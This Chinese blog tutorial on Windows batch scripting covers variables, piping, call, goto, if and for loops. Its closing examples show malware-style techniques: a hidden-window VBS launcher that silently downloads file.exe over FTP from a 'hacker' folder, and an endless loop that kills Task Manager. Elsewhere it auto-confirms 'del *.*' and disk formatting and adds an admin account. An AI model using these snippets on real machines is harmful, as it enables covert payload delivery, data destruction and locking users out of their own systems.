批处理

Batch 批处理

可加入win启动项目自动启动,使用sc注册为服务自启动。还可用于组策略

特殊名称文件:Autoexec.bat 放于系统分区根目录在系统启动时自启动。Winstart.bat 放在win安装目录,启动时自启动

回显控制

# @ 用于不显示本条指令
@echo off                    # off 即为静默执行
copy z:\a.exe c:\windows

------------------------------

@echo on                    # on 为显示随后执行的指令
copy z:\a.exe c:\windows

变量

参数变量

%0 ~ %9  %0为文件名,后面依次为传递的参数

环境变量

Set name=value
Set /p var="提示语"
Set /a var=表达式运算结果

-------------------------

@echo off
set ver1="Hello"
set /p ver2="输入ver2的值,按enter确认"
set /a ver3=100+1
echo ver1的值为%ver1% ver2的值为%ver2% ver3的值为%ver3%

已有的环境变量:

输入控制

有些命令执行时需要用户按 Y 进行确认,可用解决方法:

1. echo 按钮 | 需要确认的命令 > nul
echo Y | del *.* > nul

2. 需要多次确认的命令 < 应答文本
FORMAT/Q/U D: < auto.TXT             将卷标、确认等放入txt文件

输出过滤和信息收集

  1. >
  2. >>
  3. |
net view | findstr "\\"

跳转和条件判断

  1. call
    调用其他批处理文件或跳转至标签处
    CALL [drive:][path]filename [batch-parameters]
    
    # Main.bat
    echo 安全日志位于:
    call readreg.bat "HKLM\SYSTEM\CurrentrolSet\services\eventlog\Securit" file
    echo 系统日志位于:
    call readreg.bat "HKLM\SYSTEM\CurrentrolSet\services\eventlog\Securit" file
    
    # readreg.bat
    reg query %1 %2 | findstr /i "REG_EXPAND_SZ"
  2. goto
    @echo off
    :begin
    cls
    set input=
    set /p input=请输入 IP:
    echo %input%|findstr "^[0-9]*\.[0-9]*\.[0-9]*$">nul | goto fail
    set _input=%input:.=%
    call :check %_input%
    
    :check
    if "%4"=="" goto fail
    for %%i in (%1 %2 %3 %4) do (
        if %%i gtr 255 goto fail
    )
    cls
    echo %input% 是正确的IP
    echo.
    pause
    goto begin
    
    :fail
    cls
    echo %input% 是错误的 IP
    echo.
    pause
    goto begin
  3. if
    if <逻辑表达式> <需执行的语句>
    if exist <文件路径及名称> <需执行的语句>
    if ERRORLEVEL <返回值> <需执行的语句>
    表达式:
    EQU  ==  NEQ  LESS GTR  GEQ
    返回值:
    失败返回1,成功返回0
    
    if exit file.txt foto end
      @ftp -s:file.txt
    :end
    
    net user admin 123 /add
    @if %ERRORLEVEL% == 1 echo success
    @if %ERRORLEVEL% == 0 echo fail
  4. for
    1. 循环处理目录
    for /D %%变量名 IN (集合) DO (待循环执行的命令)
    %%变量名,只能用单字母命名,严格区分大小写。集合,指定一个或多个目录,允许使用?和*通配符。
    
    for /D %%i IN (*) DO (
      @if not exist .\%%i\file.txt copy file.txt .\%%i
    )
    
    2. 循环处理目录内文件与子目录
    for /R [[driver:]path] %%变量名 IN (集合) DO (待循环指定命令)
    
    # 将C分区中bm文件改名为doc
    for /r c:/ %%i in (*.bm) do ren %%i *.doc
    
    
    3. 循环指定次数
    for /L %变量名 IN (起始值, 步进, 终止值) DO (待循环执行的命令)
    
    #打开100个cmd
    for /L %i IN (1,1,100) DO start cmd.exe
    
    
    4. 读取文本文件,以内容作为参数,批次执行循环体语句


示例:

上传下载

查看代码
 rem 生成hide.vbs,用于隐藏运行窗口
@echo set ws=CreateObject("Wscript.Shell") > hide.vbs
@echo ws.run "cmd /c ftpaction.bat",vbhide >> hide.vbs

@echo open 192.168.56.5 > ftp.tmp
@echo username >> ftp.tmp
@echo password >> ftp.tmp
@echo cd hacker >> ftp.tmp
@echo get file.exe d:\ >> ftp.tmp

@echo @del hide.vbs > ftpaction.bat
@echo ftp -s:ftp.tmp >> ftpaction.bat

Start hide.vbs
exit

循环关闭任务管理器

查看代码
 @echo Set ws=CreateObject("Wscript.Shell") > hide.vbs
@echo ws.run "cmd /c killtaskmgr.bat", vbhide >> hide.vbs
@echo @echo off > killtaskmgr.bat
@echo @del hide.vbs > killtaskmgr.bat
@echo :loop >> killtaskmgr.bat
@echo tskill taskmgr >> killtaskmgr.bat
@echo goto loop >> killtaskmgr.bat
Start hide.vbs
exit
posted @ 2022-10-07 17:19  某某人8265  阅读(214)  评论(0编辑  收藏  举报